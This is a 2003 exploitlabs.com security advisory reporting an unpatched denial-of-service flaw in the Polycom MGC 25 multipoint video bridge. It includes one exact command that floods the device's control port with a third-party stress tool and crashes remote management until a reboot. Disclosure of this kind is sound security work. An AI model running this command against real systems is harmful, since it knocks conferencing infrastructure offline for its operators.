------------------------------------------------------------------
- EXPL-A-2003-014 exploitlabs.com Advisory 014
------------------------------------------------------------------
-= Polycom MGC25 =-

Nutcase
July 12, 2003

Vunerability(s):
----------------
Denial of Service

Product:
--------
Polycom MGC 25 - MCU Ver: 5.51.21
Polycom MGC 25 - MCMS Ver : 5.51.211 ( current )
Polycom MGC 50 - unverified
Polycom MGC 100 - unverified

Description of product:
-----------------------
"The MGC 25 is a robust Multipoint Video and Audio bridge
for organizations with a distributed network, a centralized network or both.
All three platforms ( MGC-25 MGC-50 MGC-100 )
use the same software, share a common feature set and support
the same scheduling and management solutions."

http://www.polycom.com/common/flash/individual_tours/I_MGC25.htm
http://www.polycom.com/common/pw_item_show_doc/0,1449,853,00.pdf

VUNERABILITY / EXPLOIT
======================

tested on Windows XP / 2k

issuing...

blast 10.10.10.10 5003 600 680 /t 7000 /d 300 /b user

( blast is a stress tool from http://www.foundstone.com/Blast )

completly crashes the control port on the remote host

Box must be rebooted to return remote management functionality

Local:
------
yes

Remote:
-------
yes

Vendor Fix:
-----------
No fix on 0day
Vendor has not responded

Vendor Contact:
---------------
Concurrent with this advisory
securitycenter (at) polycom (dot) com [email concealed]

Credits:
--------
Nutcase
id3nt (at) boxfrog (dot) com [email concealed]
http://exploitlabs.com

exploitlabs.com and nothackers.org thanks Nutcase for his contribution

[ reply ]